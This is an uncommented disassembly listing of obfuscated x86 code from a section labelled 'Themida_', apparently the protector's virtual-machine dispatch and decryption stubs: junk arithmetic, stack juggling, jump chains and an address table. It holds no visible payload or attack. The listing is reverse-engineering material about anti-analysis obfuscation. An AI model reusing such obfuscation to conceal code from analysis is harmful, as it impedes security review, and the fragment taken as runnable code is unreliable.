jmp loc_548CE4
; ---------------------------------------------------------------------------
loc_5500A5: ; CODE XREF: Themida_:0054AD34j
sub esi, edx
jmp loc_54CAFF
; ---------------------------------------------------------------------------
loc_5500AC: ; CODE XREF: Themida_:00547115j
sub ah, 0Ch
dec ah
neg ah
jmp loc_54B279
; ---------------------------------------------------------------------------
loc_5500B8: ; CODE XREF: Themida_:0054CE2Dj
mov ebx, 4D1957D9h
neg ebx
xor ebx, 9586A531h
sub edi, ebx
pop ebx
push ecx
mov ecx, 5C126D4Ah
jmp loc_54D934
; ---------------------------------------------------------------------------
loc_5500D3: ; CODE XREF: Themida_:005454DEj
pop ecx
xchg edi, [esp]
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_54B411
; ---------------------------------------------------------------------------
db 0A4h, 0C0h, 48h
dd 0FFA434FAh, 5A760EFFh, 5A1A0800h, 0CD08EB00h, 0FFE72EC2h
dd 5A24E4FFh, 20700h, 200h, 100h, 200h, 48C0A400h, 0FAh
dd 4 dup(0)
dd 5599E300h, 551BDC00h, 550E4300h, 55093400h, 5521DC00h
dd 55290400h, 55C04200h, 56384C00h, 55B0F000h, 55F49500h
dd 5591E600h, 55F37F00h, 557E6E00h, 55DF9300h, 55249C00h
dd 55725C00h, 552C0600h, 5648E900h, 563A7600h, 55946700h
dd 5528CF00h, 55789A00h, 55DF0C00h, 55774700h, 562DA200h
dd 5634D800h, 55332200h, 559EFE00h, 561BF400h, 5621B300h
dd 55387F00h, 550B8900h, 55220000h, 557D1700h, 5513CF00h
dd 55810E00h, 55780900h, 55CA5E00h, 5589ED00h, 55D34800h
dd 5582EA00h, 5597AC00h, 5655C400h, 56430A00h, 5653A800h
dd 5628CA00h, 55131900h, 558B7900h, 55E15700h, 5572D800h
dd 55301A00h, 550C6A00h, 55D19D00h, 55994200h, 550D8000h
dd 55278400h, 565CC700h, 55FEBD00h, 55CC8E00h, 56283C00h
dd 55829700h, 55BB6200h, 55C9DA00h, 55C87500h, 556C7D00h
dd 5529DE00h, 56334300h, 55476B00h, 553D9D00h, 5528E000h
dd 5536EF00h, 55A53800h, 5557BF00h, 553C2100h, 55C06700h
dd 56533600h, 5558D400h, 554EFF00h, 55491000h, 55AD5200h
dd 562B8600h, 56126C00h, 555D7B00h, 55DEE200h, 56064A00h
dd 55AB6500h, 550C5800h, 55177100h, 55B96800h, 5555B400h
dd 5619F300h, 565ADB00h, 557CEC00h, 55BF7400h, 561AF600h
dd 55C7A400h, 561B4F00h, 55D33900h, 564BCD00h, 55A70E00h
dd 5559BD00h, 553B0A00h, 55257D00h, 55EEAD00h, 55AD0F00h
dd 55F3D500h, 55801400h, 55A89A00h, 5574C300h, 5524B000h
dd 550F3700h, 558F0B00h, 562B3400h, 55517C00h, 5505B400h
dd 55435100h, 55FE3D00h, 55FA1C00h, 55A0D700h, 55326A00h
dd 55924B00h, 55186F00h, 56095A00h, 562AE900h, 55644D00h
dd 558F6C00h, 553C9400h, 5618D600h, 55314A00h, 561FE600h
dd 55E64900h, 55238E00h, 5564AA00h, 55E3A400h, 560F5300h
dd 55983D00h, 55F42300h, 55576B00h, 56147D00h, 55143D00h
dd 562BB300h, 55A99300h, 55696800h, 55F1D400h, 56189600h
dd 55F95D00h, 56564B00h, 55414100h, 55645F00h, 5533C500h
dd 55F8E800h, 5537C900h, 5593D900h, 561CEE00h, 55E3F700h
dd 55245500h, 5558F000h, 55271500h, 55256000h, 55486800h
dd 55F14200h, 55DA4200h, 55522500h, 55A07700h, 55BD5100h
dd 55F93000h, 56500D00h
db 0
; ---------------------------------------------------------------------------
loc_5503D9: ; CODE XREF: Themida_:005909ADj
; Themida_:005909B7j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 60C433Dh
mov eax, edi
add edi, 60C4055h
cmp eax, [edi+2Ch]
jnz short loc_5503F7
jmp short loc_55040A
; ---------------------------------------------------------------------------
loc_5503F7: ; CODE XREF: Themida_:005503F3j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_550406
; ---------------------------------------------------------------------------
loc_550401: ; CODE XREF: Themida_:00550408j
add [edi+ecx*4+40h], eax
dec ecx
loc_550406: ; CODE XREF: Themida_:005503FFj
or ecx, ecx
jnz short loc_550401
loc_55040A: ; CODE XREF: Themida_:005503F5j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_550417: ; CODE XREF: Themida_:0055041Ej
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_550417
loc_550420: ; CODE XREF: Themida_:0055053Aj
; Themida_:0055063Bj ...
lodsb
xor al, bl
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push 0A16h
mov [esp], ebx
mov bh, 79h
sub esp, 4
jmp loc_555CC8
; ---------------------------------------------------------------------------
loc_55044B: ; CODE XREF: Themida_:00563E74j
mov edx, 3E8A3225h
jmp loc_5624D2
; ---------------------------------------------------------------------------
loc_550455: ; CODE XREF: Themida_:0055BFFBj
add esp, 4
and ecx, esi
push dword ptr [esp]
pop esi
push 4024h
mov [esp], esi
push esp
pop esi
push edi
push ebx
jmp loc_5552A8
; ---------------------------------------------------------------------------
loc_55046F: ; CODE XREF: Themida_:00560BD0j
mov al, 8Bh
xor al, 0F7h
add cl, 0F1h
sub cl, al
jmp loc_55955A
; ---------------------------------------------------------------------------
loc_55047D: ; CODE XREF: Themida_:0055A7A1j
or esi, 58995837h
jmp loc_56394D
; ---------------------------------------------------------------------------
loc_550488: ; CODE XREF: Themida_:005525B5j
and bl, 0D1h
add bl, 3Bh
jmp loc_56534E
; ---------------------------------------------------------------------------
loc_550493: ; CODE XREF: Themida_:00555970j
add ecx, 214172CEh
pop edi
push 4162h
mov [esp], edi
mov edi, 3AF76AB4h
sub edi, 761258E3h
add edi, 414A0742h
add edi, 0F9D0E6F1h
jmp loc_552668
; ---------------------------------------------------------------------------
loc_5504BE: ; CODE XREF: Themida_:00551A64j
push 13B03F9h
jmp loc_5628AB
; ---------------------------------------------------------------------------
loc_5504C8: ; CODE XREF: Themida_:005615ECj
add edx, 16EBDE4Ah
jmp loc_55F3E8
; ---------------------------------------------------------------------------
loc_5504D3: ; CODE XREF: Themida_:0055380Dj
push edx
mov edx, 2DE5550Dh
and edx, 6110235Bh
xchg esi, edx
jmp loc_557F5E
; ---------------------------------------------------------------------------
loc_5504E6: ; CODE XREF: Themida_:0055148Cj
mov [esp], esi
mov esi, 4
add [esp+4], esi
pop esi
pop ecx
add ecx, 4
push edi
mov edi, 14AA45AFh
sub esp, 4
mov [esp], eax
push 3CC40251h
pop eax
shl eax, 5
or eax, 77FD508Fh
push 0
sub [esp], eax
pop eax
shr eax, 7
push edx
jmp loc_5607EE
; ---------------------------------------------------------------------------
loc_550529: ; CODE XREF: Themida_:00564DB7j
pop edx
pop dword ptr [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55053F: ; CODE XREF: Themida_:0055B74Ej
push ebx
jmp loc_5537FC
; ---------------------------------------------------------------------------
loc_550545: ; CODE XREF: Themida_:00559251j
add esp, 4
sub esp, 4
jmp loc_564E40
; ---------------------------------------------------------------------------
loc_550553: ; CODE XREF: Themida_:005602F2j
pop esi
inc esi
sub esi, 37065E90h
add esi, 0D1E5ECDDh
add ebp, esi
pop esi
jmp loc_56212E
; ---------------------------------------------------------------------------
loc_550569: ; CODE XREF: Themida_:00561737j
push esp
pop ebx
push edi
jmp loc_557A0C
; ---------------------------------------------------------------------------
loc_550571: ; CODE XREF: Themida_:0055BCBFj
mov esp, [esp]
push ebx
mov ebx, 2
add esi, ebx
pop ebx
xor esi, [esp]
jmp loc_55F082
; ---------------------------------------------------------------------------
loc_550585: ; CODE XREF: Themida_:00564B35j
add edi, 46723868h
push ebx
mov ebx, 269D7FDh
sub edi, ebx
pop ebx
add ebx, edi
pop edi
jmp loc_5647B2
; ---------------------------------------------------------------------------
loc_55059C: ; CODE XREF: Themida_:0055A980j
xor esi, 5DB07337h
inc esi
sub esi, 2F49564Dh
push ebp
mov ebp, esi
mov eax, ebp
pop ebp
jmp loc_55F7EE
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
jmp loc_56410C
; ---------------------------------------------------------------------------
loc_5505DB: ; CODE XREF: Themida_:0055335Bj
push dword ptr [esp]
pop edx
push esi
mov esi, esp
jmp loc_559A44
; ---------------------------------------------------------------------------
loc_5505E7: ; CODE XREF: Themida_:00561783j
pop ebx
pop eax
mov edx, [esp]
jmp loc_550FA3
; ---------------------------------------------------------------------------
loc_5505F1: ; CODE XREF: Themida_:00562181j
add edx, 0D4B8BA08h
push 2223h
mov [esp], ebp
mov ebp, 668D10AFh
and ebp, 61B720C9h
shl ebp, 6
jmp loc_551F68
; ---------------------------------------------------------------------------
loc_550612: ; CODE XREF: Themida_:00554DADj
sub al, bl
jmp loc_55ADB1
; ---------------------------------------------------------------------------
loc_550619: ; CODE XREF: Themida_:00552B3Fj
xchg ebx, [esp]
jmp loc_55919A
; ---------------------------------------------------------------------------
loc_550621: ; CODE XREF: Themida_:0055DEBCj
sub ch, 0BCh
mov eax, [esp]
add esp, 4
push edx
push eax
jmp loc_5636E8
; ---------------------------------------------------------------------------
loc_550631: ; CODE XREF: Themida_:00564364j
mov esi, 6EAF2C66h
add [esp+4], esi
pop esi
jmp loc_550420
; ---------------------------------------------------------------------------
loc_550640: ; CODE XREF: Themida_:00564C28j
pop esp
mov [esp], ecx
push eax
push 10C4h
mov [esp], edx
push ecx
mov ch, 82h
mov dl, 64h
push 5B9Ch
mov [esp], ebx
mov bh, 78h
inc bh
jmp loc_55115A
; ---------------------------------------------------------------------------
loc_550663: ; CODE XREF: Themida_:0055A300j
mov edi, 3A436767h
jmp loc_562F71
; ---------------------------------------------------------------------------
loc_55066D: ; CODE XREF: Themida_:00564215j
add ecx, edi
add ecx, 10D007DEh
pop edi
xchg ecx, [esp]
jmp loc_561B56
; ---------------------------------------------------------------------------
loc_55067E: ; CODE XREF: Themida_:0055EB17j
add ebx, ebp
pop ebp
add ebx, eax
push edi
push edx
push 3F5E1091h
pop edx
shl edx, 8
jmp loc_55405C
; ---------------------------------------------------------------------------
loc_550693: ; CODE XREF: Themida_:00563302j
pop ebp
add esi, 21F30FCAh
jmp loc_558BA3
; ---------------------------------------------------------------------------
loc_55069F: ; CODE XREF: Themida_:0055E540j
pop dword ptr [esp]
pop esp
mov [esp], esi
push 588Dh
mov [esp], esp
push edx
jmp loc_558B88
; ---------------------------------------------------------------------------
loc_5506B4: ; CODE XREF: Themida_:0056291Bj
push esi
push esp
pop esi
add esi, 4
push eax
mov eax, 4
add esi, eax
pop eax
xchg esi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5506D8: ; CODE XREF: Themida_:00561FD1j
not esi
push edx
sub esp, 4
mov [esp], esi
mov edx, [esp]
add esp, 4
pop esi
jmp loc_563D49
; ---------------------------------------------------------------------------
loc_5506F3: ; CODE XREF: Themida_:005528E1j
push esp
pop ecx
push 392h
jmp loc_558BD5
; ---------------------------------------------------------------------------
loc_5506FF: ; CODE XREF: Themida_:005607D2j
xor edi, [esp]
pop esp
jmp loc_55A943
; ---------------------------------------------------------------------------
loc_550708: ; CODE XREF: Themida_:0056002Ej
pop dword ptr [esp]
mov esp, [esp]
loc_55070E: ; CODE XREF: Themida_:005538DAj
push 440Dh
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
push eax
push esp
pop eax
add eax, 4
push edx
mov edx, 4
push ebx
mov ebx, 68B4686Eh
sub eax, 459730ACh
jmp loc_5648CD
; ---------------------------------------------------------------------------
loc_55073A: ; CODE XREF: Themida_:005621D5j
add [esp+4], ebx
jmp loc_5624EE
; ---------------------------------------------------------------------------
loc_550743: ; CODE XREF: Themida_:00552999j
mov eax, 52556548h
dec eax
add eax, 6D3FC22h
xor edi, eax
pop eax
add edi, 5319C25h
sub esi, edi
pop edi
push ecx
jmp loc_554FA5
; ---------------------------------------------------------------------------
loc_550760: ; CODE XREF: Themida_:0056242Aj
sub esi, 33857C7Fh
sub esi, 84B45482h
add ebx, esi
pop esi
jmp loc_55C642
; ---------------------------------------------------------------------------
loc_550774: ; CODE XREF: Themida_:0056453Bj
pop edx
jmp loc_55ED91
; ---------------------------------------------------------------------------
loc_55077A: ; CODE XREF: Themida_:0055EC72j
push ecx
mov ecx, esp
jmp loc_55C417
; ---------------------------------------------------------------------------
loc_550782: ; CODE XREF: Themida_:00555E4Cj
add esp, 4
push ecx
mov ecx, 2
add edi, ecx
mov ecx, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov cx, [esp]
push edi
push esp
mov edi, [esp]
jmp loc_55A8A4
; ---------------------------------------------------------------------------
loc_5507B1: ; CODE XREF: Themida_:0055D44Fj
sub edi, esi
jmp loc_5526F2
; ---------------------------------------------------------------------------
loc_5507B8: ; CODE XREF: Themida_:0055229Dj
dec ebx
not ebx
add ebx, 3B4B2B85h
neg ebx
add ebx, 0FE6858A1h
add esi, ebx
pop ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_56475E
; ---------------------------------------------------------------------------
loc_5507E0: ; CODE XREF: Themida_:00551057j
and bl, dh
jmp loc_553BD0
; ---------------------------------------------------------------------------
loc_5507E7: ; CODE XREF: Themida_:0055A802j
add al, 1
not al
xor al, 0AFh
jmp loc_558670
; ---------------------------------------------------------------------------
loc_5507F2: ; CODE XREF: Themida_:00552926j
or ecx, 2C1F5470h
sub ecx, 0BEDF7E7Ah
mov eax, ecx
jmp loc_5633C6
; ---------------------------------------------------------------------------
loc_550805: ; CODE XREF: Themida_:00554FF2j
mov ebp, edi
pop edi
add eax, 16204B27h
add eax, 43016DDh
push edx
mov edx, 2AD931B7h
add eax, edx
pop edx
sub eax, ebp
sub eax, 2AD931B7h
jmp loc_564471
; ---------------------------------------------------------------------------
loc_550827: ; CODE XREF: Themida_:00553015j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
jmp loc_559D3F
; ---------------------------------------------------------------------------
loc_550846: ; CODE XREF: Themida_:0055C5DAj
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_55B44D
; ---------------------------------------------------------------------------
loc_550856: ; CODE XREF: Themida_:0055F8ABj
pop dx
or cl, 73h
jmp loc_5582C7
; ---------------------------------------------------------------------------
loc_550860: ; CODE XREF: Themida_:0055DAADj
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_564666
; ---------------------------------------------------------------------------
loc_550871: ; CODE XREF: Themida_:00553254j
pop eax
shr ebp, 3
sub ebp, 2758E75h
add edi, ebp
pop ebp
push edx
jmp loc_5512C7
; ---------------------------------------------------------------------------
loc_550884: ; CODE XREF: Themida_:00565581j
pop esi
jmp loc_55C687
; ---------------------------------------------------------------------------
loc_55088A: ; CODE XREF: Themida_:00557718j
sub esp, 4
mov [esp], edx
mov edx, 4
jmp loc_5633BF
; ---------------------------------------------------------------------------
loc_55089D: ; CODE XREF: Themida_:00550AC0j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5508A2: ; CODE XREF: Themida_:0055951Bj
mov [esp], edi
push esp
pop edi
push ecx
mov ecx, 78E3197Eh
sub ecx, 78E3197Ah
add edi, ecx
jmp loc_562F9A
; ---------------------------------------------------------------------------
loc_5508BA: ; CODE XREF: Themida_:005523F5j
xor edi, 74D28BD4h
add ebx, edi
pop edi
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5586E8
; ---------------------------------------------------------------------------
loc_5508D1: ; CODE XREF: Themida_:00561900j
mov ecx, [esp]
push eax
mov eax, esp
push edx
mov edx, 28826F9Fh
xor edx, 28826F9Bh
jmp loc_5653F6
; ---------------------------------------------------------------------------
loc_5508E8: ; CODE XREF: Themida_:0055D923j
push esp
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 36D46439h
dec edx
jmp loc_553FC4
; ---------------------------------------------------------------------------
loc_550906: ; CODE XREF: Themida_:00554901j
shr ch, 3
xor ch, 27h
or ch, 10h
jmp loc_55AF5C
; ---------------------------------------------------------------------------
loc_550914: ; CODE XREF: Themida_:00565C71j
add dword ptr [esp], 4
pop edi
add edi, 4
jmp loc_562FB2
; ---------------------------------------------------------------------------
loc_550927: ; CODE XREF: Themida_:005650F4j
not dh
add dh, 51h
sub bl, dh
pop edx
jmp loc_55E089
; ---------------------------------------------------------------------------
push eax
push edx
mov dl, bh
jmp loc_5555D2
; ---------------------------------------------------------------------------
loc_55093D: ; CODE XREF: Themida_:00552DD1j
add esi, 4
add esi, 4
jmp loc_551B51
; ---------------------------------------------------------------------------
loc_55094E: ; CODE XREF: Themida_:0055F987j
add ecx, 0FDF37B74h
add eax, 626A523Eh
add eax, ecx
push ebx
mov ebx, 626A523Eh
jmp loc_55824B
; ---------------------------------------------------------------------------
loc_550966: ; CODE XREF: Themida_:00559D62j
mov edi, 724E07AFh
add edi, 44CA2052h
and edi, 4F752BB6h
sub edi, 428E542Ch
push edi
pop ebp
pop edi
jmp loc_554EBF
; ---------------------------------------------------------------------------
loc_550985: ; CODE XREF: Themida_:00559CFEj
add esp, 4
add dword ptr [esp+4], 6E6863A8h
add [esp+4], ebx
sub dword ptr [esp+4], 6E6863A8h
pop ebx
jmp loc_5541F8
; ---------------------------------------------------------------------------
loc_5509A5: ; CODE XREF: Themida_:0055C480j
mov ebp, esi
pop esi
push esi
mov esi, ebp
mov edi, esi
pop esi
pop ebp
add esi, 2FD706BDh
sub esi, edi
sub esi, 2FD706BDh
mov edi, [esp]
jmp loc_562DD0
; ---------------------------------------------------------------------------
loc_5509C5: ; CODE XREF: Themida_:00557F8Fj
sub cl, dh
sub cl, 83h
jmp loc_55241A
; ---------------------------------------------------------------------------
loc_5509CF: ; CODE XREF: Themida_:005631FEj
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5552F0
; ---------------------------------------------------------------------------
loc_5509E1: ; CODE XREF: Themida_:0056074Bj
inc edx
push esi
mov esi, 0AD594Fh
or edx, esi
mov esi, [esp]
push 119h
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_560C28
; ---------------------------------------------------------------------------
loc_550A08: ; CODE XREF: Themida_:005637A1j
add eax, esi
pop esi
jmp loc_55DC57
; ---------------------------------------------------------------------------
loc_550A10: ; CODE XREF: Themida_:0055C8DCj
mov [esp], ebp
mov ebp, 4
add ecx, ebp
pop ebp
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push 907h
mov [esp], esi
mov esi, 4
jmp loc_562ACC
; ---------------------------------------------------------------------------
loc_550A37: ; CODE XREF: Themida_:00562F03j
push eax
mov eax, 37805D01h
push ebp
mov ebp, 35501A28h
sub ecx, ebp
pop ebp
sub ecx, eax
add ecx, 35501A28h
mov eax, [esp]
add esp, 4
xor ecx, 0BA4FB862h
xor eax, ecx
jmp loc_55D5FC
; ---------------------------------------------------------------------------
loc_550A64: ; CODE XREF: Themida_:0055F8D8j
pop ecx
push ebx
push esp
pop ebx
add ebx, 4
push edi
push 7C4Eh
mov [esp], esi
push 646570CAh
mov esi, [esp]
add esp, 4
push eax
push ecx
mov ecx, 5EEB78DEh
dec ecx
shr ecx, 5
add ecx, 25D417EAh
add ecx, 0E888C5B7h
jmp loc_551A86
; ---------------------------------------------------------------------------
loc_550A9E: ; CODE XREF: Themida_:00565B31j
sub ebx, 1957F20h
push 7595h
mov [esp], ebp
mov ebp, 40212164h
sub ebx, ebp
pop ebp
jmp loc_551A01
; ---------------------------------------------------------------------------
loc_550AB9: ; CODE XREF: Themida_:0055BD41j
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_55089D
; ---------------------------------------------------------------------------
loc_550AC5: ; CODE XREF: Themida_:00564AF9j
inc esi
add esi, 187E09B6h
sub ebp, esi
pop esi
xor ecx, ebp
mov ebp, [esp]
add esp, 4
or ecx, 19490ADBh
shl ecx, 1
add ecx, 5A5E127Fh
or ebx, ecx
jmp loc_559046
; ---------------------------------------------------------------------------
loc_550AEC: ; CODE XREF: Themida_:005531E4j
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_55980D
; ---------------------------------------------------------------------------
loc_550B00: ; CODE XREF: Themida_:00554093j
neg esi
add esi, 78223D04h
add edx, esi
push dword ptr [esp]
pop esi
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_560B3A
; ---------------------------------------------------------------------------
loc_550B23: ; CODE XREF: Themida_:00557728j
pop ebx
mov eax, [esp]
jmp loc_5645E7
; ---------------------------------------------------------------------------
loc_550B2C: ; CODE XREF: Themida_:0055D4E9j
mov edx, 69F13D1h
add ecx, edx
jmp loc_555D3C
; ---------------------------------------------------------------------------
loc_550B38: ; CODE XREF: Themida_:0055F28Dj
push 4
mov esi, [esp]
add esp, 4
jmp loc_5526EC
; ---------------------------------------------------------------------------
loc_550B4B: ; CODE XREF: Themida_:00561AB3j
sub ebp, eax
pop eax
jmp loc_560456
; ---------------------------------------------------------------------------
loc_550B53: ; CODE XREF: Themida_:00565B0Cj
add edi, esi
pop esi
push edx
mov edx, 4
sub edi, 11282567h
sub edi, edx
jmp loc_553999
; ---------------------------------------------------------------------------
loc_550B69: ; CODE XREF: Themida_:0056078Cj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
pop bx
push small 7EAAh
jmp loc_554750
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_560EAA
; ---------------------------------------------------------------------------
loc_550B95: ; CODE XREF: Themida_:0055BC82j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_55E0A1
; ---------------------------------------------------------------------------
loc_550BAD: ; CODE XREF: Themida_:0055D356j
mov edx, 68F7359Ah
push edi
mov edi, 48BE7AD5h
sub edi, 386E64B0h
and edx, edi
pop edi
shr edx, 5
add edx, 3A84AAB6h
add eax, 11D605DCh
sub eax, edx
sub eax, 11D605DCh
push dword ptr [esp]
pop edx
add esp, 4
push ecx
mov ecx, 4F32853h
sub eax, ecx
jmp loc_550D49
; ---------------------------------------------------------------------------
loc_550BED: ; CODE XREF: Themida_:005535CDj
mov ch, 0ADh
mov ah, ch
jmp loc_553B9E
; ---------------------------------------------------------------------------
loc_550BF6: ; CODE XREF: Themida_:0055A201j
mov [esp], ebx
push esi
mov esi, 1
mov ebx, esi
pop esi
push ebp
mov ebp, ebx
jmp loc_55CBC2
; ---------------------------------------------------------------------------
loc_550C0A: ; CODE XREF: Themida_:0055703Bj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
shr ecx, 7
push ecx
mov ecx, esp
push ebp
jmp loc_55B7E5
; ---------------------------------------------------------------------------
loc_550C26: ; CODE XREF: Themida_:00562599j
mov ebx, 64A85A50h
not ebx
add ebx, 7E389E96h
add edi, ebx
pop ebx
xor edi, 8CC22740h
sub esp, 4
mov [esp], edx
push ebp
mov ebp, 756422E2h
jmp loc_551355
; ---------------------------------------------------------------------------
loc_550C4D: ; CODE XREF: Themida_:0055F0CAj
add esi, ebx
pop ebx
sub esp, 4
jmp loc_55840B
; ---------------------------------------------------------------------------
lodsb
sub esp, 2
mov [esp], cx
mov cl, 2Eh
jmp loc_562A3D
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_550C72: ; CODE XREF: Themida_:0055C32Ej
add ecx, ebp
pop ebp
add edi, ecx
pop ecx
mov edx, edi
pop edi
jmp loc_5637B7
; ---------------------------------------------------------------------------
loc_550C80: ; CODE XREF: Themida_:0055BD55j
push dword ptr [esp]
mov eax, [esp]
push ebp
push esp
jmp loc_5646E5
; ---------------------------------------------------------------------------
loc_550C8D: ; CODE XREF: Themida_:00551E2Ej
mov [esp], ebx
mov ebx, 783360DBh
and ebx, 3FC06B60h
xor ebx, 38EA3C12h
mov edx, ebx
mov ebx, [esp]
add esp, 4
and edx, 12944752h
sub edx, 0D02511F3h
sub esp, 4
mov [esp], ecx
mov ecx, 51493CDFh
sub esp, 4
mov [esp], esi
mov esi, 1F712615h
add ecx, esi
pop esi
jmp loc_55D838
; ---------------------------------------------------------------------------
loc_550CD9: ; CODE XREF: Themida_:00564BA8j
sub ebp, 6E4D5FB0h
add ebp, ebx
add ebp, 6E4D5FB0h
add ebp, 0F70789Ch
pop ebx
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
imul ecx
push 79F0h
jmp loc_55347D
; ---------------------------------------------------------------------------
loc_550D06: ; CODE XREF: Themida_:0055E492j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_55FD26
; ---------------------------------------------------------------------------
loc_550D26: ; CODE XREF: Themida_:0055DD85j
mov [esp], ecx
push eax
push 58112FCEh
mov eax, [esp]
add esp, 4
xor eax, 4AC4A00h
jmp loc_563318
; ---------------------------------------------------------------------------
loc_550D42: ; CODE XREF: Themida_:00555527j
mov eax, esp
jmp loc_55EC77
; ---------------------------------------------------------------------------
loc_550D49: ; CODE XREF: Themida_:00550BE8j
pop ecx
add eax, 0C9D0643h
sub eax, 6E917A1Bh
sub eax, ebx
add eax, 6E917A1Bh
jmp loc_554C0D
; ---------------------------------------------------------------------------
loc_550D60: ; CODE XREF: Themida_:0055C767j
mov ecx, eax
pop eax
add esi, ecx
jmp loc_552C14
; ---------------------------------------------------------------------------
loc_550D6A: ; CODE XREF: Themida_:0055AFC7j
neg edx
shl edx, 7
jmp loc_551B0E
; ---------------------------------------------------------------------------
loc_550D74: ; CODE XREF: Themida_:005563F6j
inc ah
sub ah, 0D0h
mov dl, ah
jmp loc_56268A
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_55B6D5
; ---------------------------------------------------------------------------
loc_550D8E: ; CODE XREF: Themida_:0055E04Fj
mov esi, esp
add esi, 4
push edx
mov edx, 4
sub esi, edx
pop edx
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
jmp loc_55B527
; ---------------------------------------------------------------------------
loc_550DB2: ; CODE XREF: Themida_:0055D40Cj
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_55D209
; ---------------------------------------------------------------------------
loc_550DC3: ; CODE XREF: Themida_:0055614Aj
mov esp, [esp]
mov edi, esi
pop esi
dec edi
push 0
sub [esp], edi
jmp loc_564198
; ---------------------------------------------------------------------------
loc_550DD7: ; CODE XREF: Themida_:0055161Ej
push dword ptr [esp]
jmp loc_55B91E
; ---------------------------------------------------------------------------
loc_550DDF: ; CODE XREF: Themida_:0056446Cj
or ebx, 391814B1h
jmp loc_550EBF
; ---------------------------------------------------------------------------
loc_550DEA: ; CODE XREF: Themida_:0055CA34j
pop cx
sub dh, ch
sub dh, 0EDh
jmp loc_554C8B
; ---------------------------------------------------------------------------
loc_550DF6: ; CODE XREF: Themida_:00552C01j
xor bl, dh
jmp loc_554498
; ---------------------------------------------------------------------------
loc_550DFD: ; CODE XREF: Themida_:00555101j
pop ecx
push edx
jmp loc_55DE25
; ---------------------------------------------------------------------------
loc_550E04: ; CODE XREF: Themida_:00565CA4j
add esi, 644271F5h
add esi, 49DA35BBh
push edi
mov edi, 12592853h
inc edi
dec edi
xor edi, 62940254h
and edi, 170517DBh
jmp loc_55B584
; ---------------------------------------------------------------------------
loc_550E29: ; CODE XREF: Themida_:0055BF8Bj
jmp loc_550420
; ---------------------------------------------------------------------------
loc_550E2E: ; CODE XREF: Themida_:0055CD1Cj
pop edx
sub al, 3Ch
sub al, cl
add al, 3Ch
push ecx
mov cl, 12h
sub cl, 96h
push eax
mov ah, 0F9h
jmp loc_55E13F
; ---------------------------------------------------------------------------
lodsd
push esi
mov esi, 45340E2Ch
shr esi, 3
jmp loc_5617AE
; ---------------------------------------------------------------------------
loc_550E52: ; CODE XREF: Themida_:0055E416j
mov edi, [esp]
jmp loc_55DBB2
; ---------------------------------------------------------------------------
loc_550E5A: ; CODE XREF: Themida_:0056414Aj
pop edi
or ebx, ebp
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 195116EEh
push ebp
mov ebp, 1C6875FCh
jmp loc_564AE8
; ---------------------------------------------------------------------------
loc_550E77: ; CODE XREF: Themida_:0055C7ACj
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
push eax
push esp
jmp loc_562824
; ---------------------------------------------------------------------------
loc_550E96: ; CODE XREF: Themida_:00560160j
xor eax, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_552DB7
; ---------------------------------------------------------------------------
loc_550EA7: ; CODE XREF: Themida_:0055C379j
add esp, 4
jmp loc_55DC25
; ---------------------------------------------------------------------------
loc_550EAF: ; CODE XREF: Themida_:005522F2j
pop esp
ror dword ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_550EB9: ; CODE XREF: Themida_:00559B61j
push edx
jmp loc_5659A0
; ---------------------------------------------------------------------------
